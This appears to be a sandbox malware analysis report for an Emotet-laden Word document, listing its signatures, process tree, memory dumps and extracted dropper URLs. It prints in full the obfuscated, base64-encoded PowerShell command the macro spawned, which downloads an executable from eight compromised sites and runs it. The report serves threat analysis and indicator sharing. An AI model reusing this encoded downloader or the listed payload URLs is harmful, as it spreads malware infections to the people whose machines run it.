Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    142s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    08/11/2020, 19:25

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_eb4e38eca100cc2ec56b63dcb64261e5267212ee4d3009b7a9bce98cd60bb50c_2020-10-29__211300242025._doc.doc
  • Size 239KB
  • Sample201108-x2gexvfxt6
  • SHA256 eb4e38eca100cc2ec56b63dcb64261e5267212ee4d3009b7a9bce98cd60bb50c
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://tuankhoi.com/wp-content/CI2oG/
  • exe.dropper

    https://www.microsystem.fr/newsletters/uITRJ/
  • exe.dropper

    https://natfast.com/wp-content/geeVh/
  • exe.dropper

    https://blog.smyrnaweb.com/cgi-bin/Kzd0vdC/
  • exe.dropper

    https://mhkhardware.com/cgi-bin/Mrn/
  • exe.dropper

    https://ostemeda.lt/wp-content/S/
  • exe.dropper

    https://blog.techforing.com/wp-includes/3XgEg7/
  • exe.dropper

    https://techzslack.com/wp-includes/gSXf/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 7 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_eb4e38eca100cc2ec56b63dcb64261e5267212ee4d3009b7a9bce98cd60bb50c_2020-10-29__211300242025._doc.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1804
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1288
    • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
      POwersheLL -ENCOD IAAgACQATABFADUAYgAwAG8AIAA9ACAAIABbAHQAeQBQAEUAXQAoACIAewA1AH0AewAxAH0AewAzAH0AewAwAH0AewAyAH0AewA0AH0AIgAtAEYAIAAnAE0ALgAnACwAJwB5AHMAVAAnACwAJwBpAG8ALgBkAGkAUgBlAEMAVABPACcALAAnAGUAJwAsACcAUgB5ACcALAAnAFMAJwApACAAIAA7AHMAZQBUACAAZQBoAG8AIAAoACAAIABbAFQAeQBQAEUAXQAoACIAewA3AH0AewA1AH0AewA0AH0AewA2AH0AewAxAH0AewA4AH0AewAyAH0AewAzAH0AewAwAH0AIgAgAC0ARgAnAEEAZwBFAFIAJwAsACcAUwBFAFIAdgAnACwAJwBDAGUAUABPAEkATgBUACcALAAnAG0AQQBOACcALAAnAC4ATgBFACcALAAnAHQAZQBNACcALAAnAHQALgAnACwAJwBzAHkAUwAnACwAJwBpACcAKQAgACkAOwAgACAAJABNADcAaQB2ADYAaQAyAD0AKAAoACcAVgB0AHYAJwArACcAMgAnACkAKwAoACcAaAAnACsAJwBwAHIAJwApACkAOwAkAFoAMQB2AGIAdABuAHkAPQAkAEQAbgBrADIAMgBjAHMAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEYANABzAGMAdABpADIAOwAkAEYAcQB1AHkAZgBkAHgAPQAoACgAJwBZADQAJwArACcAegAnACkAKwAoACcAbgByACcAKwAnAGMAcQAnACkAKQA7ACAAIAAkAEwARQA1AEIAMABvADoAOgAiAEMAYABSAEUAQQB0AGAARQBEAGkAYABSAGUAYwB0AG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAnACsAJwAwAH0AJwArACgAJwBHAHoAYwBzADgAJwArACcAYgAnACkAKwAnADUAewAwAH0ARQBlAG0AJwArACcAcAB3AHIAcgB7ADAAfQAnACkAIAAtAGYAIABbAGMAaABBAFIAXQA5ADIAKQApADsAJABRADkAbABpAGgAMgBwAD0AKAAnAEoAJwArACcANQAnACsAKAAnAG4AYwAnACsAJwAxAHkAMgAnACkAKQA7ACAAJABlAGgATwA6ADoAIgBzAGUAQwBgAFUAUgBpAFQAeQBgAFAAUgBvAHQAbwBgAEMAYABvAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAFUAZABzADIANgA1AGsAPQAoACcAVAAnACsAJwBpACcAKwAoACcANAAwAG8AZgAnACsAJwA5ACcAKQApADsAJABVADQANwB1AHAANAB2ACAAPQAgACgAJwBKACcAKwAoACcAMwBwACcAKwAnAHcAOQBzACcAKQApADsAJABNAGIAZQBrAGwAMQB2AD0AKAAoACcARwBiACcAKwAnAGQAJwApACsAJwB1AG8AJwArACcAdgB6ACcAKQA7ACQAVgB4AGsAcwAwADAAcQA9ACgAJwBGACcAKwAnADcAJwArACgAJwBqACcAKwAnAHoAOQBqAGYAJwApACkAOwAkAEMAcwA3AHUAcQA0AHIAPQAkAEgATwBNAEUAKwAoACgAJwAxADYAJwArACgAJwBWAEcAegAnACsAJwBjACcAKQArACgAJwBzADgAJwArACcAYgA1ADEAJwApACsAKAAnADYAVgBFAGUAbQAnACsAJwBwACcAKQArACgAJwB3AHIAcgAnACsAJwAxADYAVgAnACkAKQAtAGMAUgBFAFAAbABBAGMAZQAgACAAKABbAEMAaABBAHIAXQA0ADkAKwBbAEMAaABBAHIAXQA1ADQAKwBbAEMAaABBAHIAXQA4ADYAKQAsAFsAQwBoAEEAcgBdADkAMgApACsAJABVADQANwB1AHAANAB2ACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQASAA0AGEAMQAyAHQAMAA9ACgAKAAnAEUANwAnACsAJwB0ADgAJwApACsAJwBsACcAKwAnAHYAdQAnACkAOwAkAFUAZwB3AGcAXwAzAHYAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4ARQB0AC4AVwBFAEIAYwBsAEkARQBuAFQAOwAkAEwAeABkAGUAaAByAGEAPQAoACgAKAAoACcAaAB0AHQAcAA6AF0AWwAgADEAKQAnACsAJwAgAGoAagBrAGcAUwAgAFsAJwArACcAXQAnACsAJwAgACcAKQApACsAKAAoACcAWwBdAHcAXQBbACAAMQApACcAKwAnACAAagBqAGsAZwBTACAAWwBdACAAWwBdAHcAdAB1AGEAbgBrACcAKwAnAGgAbwBpAC4AYwBvAG0AXQBbACAAMQApACAAJwArACcAagBqACcAKwAnAGsAZwBTACcAKwAnACAAWwBdACAAWwBdAHcAdwBwACcAKwAnAC0AYwBvAG4AdABlAG4AJwArACcAdABdACcAKwAnAFsAIAAnACsAJwAxACcAKwAnACkAIABqAGoAJwArACcAawBnACcAKwAnAFMAJwArACcAIABbAF0AJwArACcAIAAnACsAJwBbAF0AdwBDAEkAJwArACcAMgAnACsAJwBvAEcAJwArACcAXQBbACAAMQApACAAagAnACsAJwBqAGsAZwBTACcAKwAnACAAWwBdACcAKwAnACAAWwBdAHcAQABoAHQAdABwACcAKwAnAHMAOgBdACcAKwAnAFsAIAAxACcAKwAnACkAIABqAGoAJwArACcAawBnACcAKwAnAFMAIABbAF0AIABbAF0AJwArACcAdwBdACcAKwAnAFsAIAAxACkAIABqAGoAawBnAFMAJwArACcAIAAnACkAKQArACgAKAAnAFsAXQAgACcAKwAnAFsAXQB3AHcAdwB3AC4AbQBpACcAKwAnAGMAcgBvAHMAJwArACcAeQAnACsAJwBzAHQAZQAnACsAJwBtAC4AZgAnACsAJwByAF0AWwAgACcAKwAnADEAKQAgAGoAagAnACsAJwBrAGcAUwAgAFsAXQAgAFsAXQB3AG4AZQB3AHMAbABlAHQAdABlAHIAcwBdACcAKwAnAFsAIAAxACkAIAAnACsAJwBqAGoAawBnACcAKwAnAFMAIABbAF0AJwArACcAIAAnACsAJwBbAF0AJwArACcAdwB1ACcAKwAnAEkAJwArACcAVAAnACsAJwBSAEoAJwArACcAXQBbACcAKwAnACAAMQAnACsAJwApACAAagBqACcAKQApACsAKAAoACcAawBnAFMAIAAnACsAJwBbAF0AIABbAF0AdwBAAGgAdAB0AHAAcwA6ACcAKwAnAF0AWwAnACsAJwAgADEAKQAgAGoAagBrAGcAUwAgAFsAXQAgAFsAXQB3AF0AWwAgADEAKQAgAGoAagAnACsAJwBrAGcAUwAnACsAJwAgAFsAXQAgAFsAJwArACcAXQAnACsAJwB3AG4AJwArACcAYQAnACkAKQArACgAKAAnAHQAZgAnACsAJwBhAHMAdAAuAGMAbwBtACcAKwAnAF0AWwAgADEAJwArACcAKQAgAGoAagBrAGcAUwAnACsAJwAgAFsAXQAnACsAJwAgAFsAJwArACcAXQB3ACcAKwAnAHcAcAAtACcAKwAnAGMAJwArACcAbwBuAHQAZQAnACsAJwBuAHQAXQBbACAAMQApACAAJwArACcAagAnACsAJwBqACcAKwAnAGsAJwApACkAKwAoACgAJwBnAFMAIAAnACsAJwBbAF0AJwArACcAIAAnACsAJwBbACcAKwAnAF0AJwArACcAdwBnAGUAJwArACcAZQBWAGgAXQAnACsAJwBbACAAMQApACAAJwArACcAagBqAGsAJwArACcAZwBTACAAWwBdACAAWwBdAHcAQABoAHQAJwArACcAdABwAHMAJwArACcAOgBdAFsAIAAxACcAKwAnACkAIABqAGoAawAnACsAJwBnAFMAJwArACcAIAAnACsAJwBbAF0AIABbAF0AJwArACcAdwBdACcAKQApACsAKAAoACcAWwAgACcAKwAnADEAKQAgACcAKwAnAGoAagBrAGcAUwAnACsAJwAgAFsAXQAgAFsAXQB3AGIAbABvACcAKwAnAGcALgAnACsAJwBzAG0AeQByACcAKwAnAG4AYQB3AGUAYgAnACkAKQArACgAKAAnAC4AYwAnACsAJwBvAG0AJwArACcAXQBbACAAMQApACAAagBqAGsAZwBTACAAJwArACcAWwBdACAAWwBdACcAKwAnAHcAJwArACcAYwBnAGkALQAnACsAJwBiAGkAbgAnACsAJwBdACcAKwAnAFsAIAAxACcAKwAnACkAIABqAGoAJwArACcAawAnACsAJwBnAFMAJwArACcAIABbACcAKwAnAF0AIAAnACsAJwBbACcAKwAnAF0AdwBLAHoAJwArACcAZAAwACcAKwAnAHYAZABDAF0AJwArACcAWwAnACsAJwAgADEAKQAnACsAJwAgAGoAagBrAGcAUwAnACsAJwAgAFsAJwArACcAXQAgAFsAXQB3AEAAJwArACcAaAB0AHQAcABzACcAKwAnADoAXQBbACAAMQApACAAagBqAGsAZwBTACAAWwBdACAAJwArACcAWwBdAHcAXQBbACcAKwAnACAAMQApACAAagBqAGsAZwBTACAAJwArACcAWwAnACsAJwBdACAAWwBdAHcAbQAnACsAJwBoAGsAJwArACcAaABhACcAKwAnAHIAZAB3AGEAcgBlAC4AYwBvAG0AXQBbACAAMQApACcAKwAnACAAagBqAGsAZwBTACAAWwBdACcAKQApACsAKAAoACcAIABbAF0AdwBjAGcAaQAnACsAJwAtAGIAaQBuAF0AWwAgADEAKQAgACcAKwAnAGoAJwArACcAagBrAGcAJwArACcAUwAgAFsAXQAnACsAJwAgAFsAJwArACcAXQAnACsAJwB3AE0AcgAnACsAJwBuAF0AJwApACkAKwAoACgAJwBbACAAMQApACAAJwArACcAagAnACsAJwBqACcAKwAnAGsAZwBTACAAWwBdACAAWwBdAHcAQABoACcAKwAnAHQAdAAnACkAKQArACgAKAAnAHAAJwArACcAcwA6ACcAKwAnAF0AWwAgADEAKQAgAGoAagBrAGcAUwAnACsAJwAgACcAKwAnAFsAXQAgAFsAXQB3AF0AWwAgADEAKQAgAGoAagAnACsAJwBrAGcAJwArACcAUwAnACsAJwAgAFsAXQAgAFsAJwArACcAXQB3AG8AJwArACcAcwB0AGUAbQBlAGQAYQAuAGwAJwArACcAdABdACcAKQApACsAKAAoACcAWwAgADEAKQAgAGoAagBrACcAKwAnAGcAJwArACcAUwAgAFsAXQAnACsAJwAgAFsAXQB3AHcAcAAtAGMAJwArACcAbwBuAHQAJwArACcAZQAnACkAKQArACgAKAAnAG4AdABdAFsAIAAxACkAIABqAGoAJwArACcAawBnACcAKwAnAFMAJwArACcAIAAnACkAKQArACgAKAAnAFsAXQAgAFsAXQB3AFMAXQAnACsAJwBbACAAMQApACcAKwAnACAAagBqAGsAJwArACcAZwBTACAAJwArACcAWwAnACsAJwBdACAAWwAnACsAJwBdAHcAQABoAHQAdABwAHMAOgBdACcAKwAnAFsAIAAxACkAIABqAGoAawBnAFMAJwArACcAIABbAF0AJwArACcAIABbAF0AdwBdAFsAIAAnACsAJwAxACkAIABqAGoAawBnAFMAIAAnACsAJwBbAF0AIABbAF0AdwBiAGwAJwArACcAbwBnACcAKwAnAC4AdABlAGMAaABmAG8AcgBpAG4AZwAuACcAKwAnAGMAJwArACcAbwBtACcAKwAnAF0AWwAgACcAKwAnADEAJwArACcAKQAgAGoAagBrAGcAUwAnACsAJwAgAFsAXQAgAFsAJwApACkAKwAoACgAJwBdACcAKwAnAHcAdwBwAC0AaQAnACsAJwBuAGMAbAB1ACcAKwAnAGQAZQBzAF0AWwAgACcAKwAnADEAKQAgAGoAagBrAGcAUwAgAFsAXQAgAFsAXQAnACsAJwB3ADMAWABnAEUAZwA3AF0AWwAnACsAJwAgADEAKQAgAGoAagAnACsAJwBrAGcAUwAnACsAJwAgAFsAXQAgACcAKwAnAFsAXQAnACsAJwB3AEAAJwArACcAaAB0AHQAcABzADoAJwArACcAXQBbACAAMQApACAAagBqAGsAZwBTACAAWwAnACsAJwBdACAAWwBdAHcAXQBbACAAMQApACAAagAnACsAJwBqAGsAZwBTACcAKwAnACAAWwAnACkAKQArACgAJwBdACAAWwBdACcAKwAnAHcAdABlAGMAaAAnACsAJwB6AHMAbABhACcAKwAnAGMAJwApACsAKAAnAGsALgBjAG8AJwArACcAbQAnACkAKwAoACgAJwBdAFsAIAAxACkAIABqAGoAawBnACcAKwAnAFMAJwArACcAIABbAF0AIABbAF0AJwArACcAdwB3AHAALQBpAG4AYwBsAHUAJwArACcAZABlACcAKwAnAHMAJwArACcAXQAnACkAKQArACgAKAAnAFsAIAAnACsAJwAxACkAIABqAGoAJwArACcAawAnACsAJwBnAFMAIABbAF0AIABbACcAKQApACsAKAAoACcAXQAnACsAJwB3ACcAKwAnAGcAUwBYAGYAXQBbACAAMQAnACsAJwApACcAKwAnACAAagAnACsAJwBqAGsAZwBTACAAWwAnACsAJwBdACcAKQApACsAKAAnACAAJwArACcAWwBdAHcAJwApACkAKQAuACIAcgBlAGAAcABsAEEAQwBlACIAKAAoACgAKAAnAF0AWwAnACsAJwAgADEAJwApACsAKAAoACcAKQAnACsAJwAgAGoAJwApACkAKwAoACcAagBrAGcAJwArACcAUwAnACkAKwAnACAAJwArACgAJwBbAF0AIAAnACsAJwBbAF0AdwAnACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwB4ACcAKwAnAHcAZQAnACkAKQBbADAAXQApAC4AIgBzAHAAbABgAGkAVAAiACgAJABSADcAdgAwAHkAYQBsACAAKwAgACQAWgAxAHYAYgB0AG4AeQAgACsAIAAkAFAAZABjAHEAcgA3AG8AKQA7ACQAWABxAGoAdwB1ADAAZgA9ACgAKAAnAFIAXwBtACcAKwAnAGMAJwApACsAKAAnAHEAdQAnACsAJwAyACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABZAGMAawB6AHYAbAA4ACAAaQBuACAAJABMAHgAZABlAGgAcgBhACkAewB0AHIAeQB7ACQAVQBnAHcAZwBfADMAdgAuACIARABPAGAAVwBOAGAAbABvAEEAZABmAGkAbABFACIAKAAkAFkAYwBrAHoAdgBsADgALAAgACQAQwBzADcAdQBxADQAcgApADsAJABJADEAYQBjAHkAaABfAD0AKAAoACcATQBzACcAKwAnAGYAeAAnACkAKwAoACcAcgAnACsAJwB0ADUAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJACcAKwAnAHQAZQBtACcAKQAgACQAQwBzADcAdQBxADQAcgApAC4AIgBMAGUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwA1ADQAMgA5ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACgAJwB3AGkAbgAzACcAKwAnADIAXwAnACkAKwAoACcAUAByAG8AYwAnACsAJwBlACcAKQArACcAcwBzACcAKQApAC4AIgBDAFIAYABFAGAAQQBUAEUAIgAoACQAQwBzADcAdQBxADQAcgApADsAJABOAGEANgBtADAAXwAxAD0AKAAoACcASABqAHkAJwArACcAeQAnACkAKwAnAGkAJwArACcAZABiACcAKQA7AGIAcgBlAGEAawA7ACQATABkADIANwBtAG0AegA9ACgAJwBZAGUAJwArACcAYwA1ACcAKwAoACcAcwA1ACcAKwAnAGcAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIAdgA5AHQANwBrAG8APQAoACcASAAnACsAKAAnAG0AbwAnACsAJwA5ACcAKQArACgAJwBsAHgAJwArACcAaQAnACkAKQA=
      1⤵
      • Process spawned unexpected child process
      • Blacklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1424

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/1424-4-0x000007FEF4FE0000-0x000007FEF59CC000-memory.dmp
          Download

          memory/1424-5-0x0000000001DB0000-0x0000000001DB1000-memory.dmp
          Download

          memory/1424-6-0x000000001ABB0000-0x000000001ABB1000-memory.dmp
          Download

          memory/1424-7-0x0000000002540000-0x0000000002541000-memory.dmp
          Download

          memory/1424-8-0x0000000002570000-0x0000000002571000-memory.dmp
          Download

          memory/1424-9-0x000000001C240000-0x000000001C241000-memory.dmp
          Download

          memory/1424-11-0x000000001B800000-0x000000001B801000-memory.dmp
          Download

          memory/1804-0-0x0000000000472000-0x0000000000476000-memory.dmp
          Download

          memory/1804-1-0x0000000006250000-0x0000000006254000-memory.dmp
          Download

          memory/1804-2-0x0000000000472000-0x0000000000476000-memory.dmp
          Download

          memory/1804-3-0x00000000056C2000-0x00000000056C4000-memory.dmp
          Download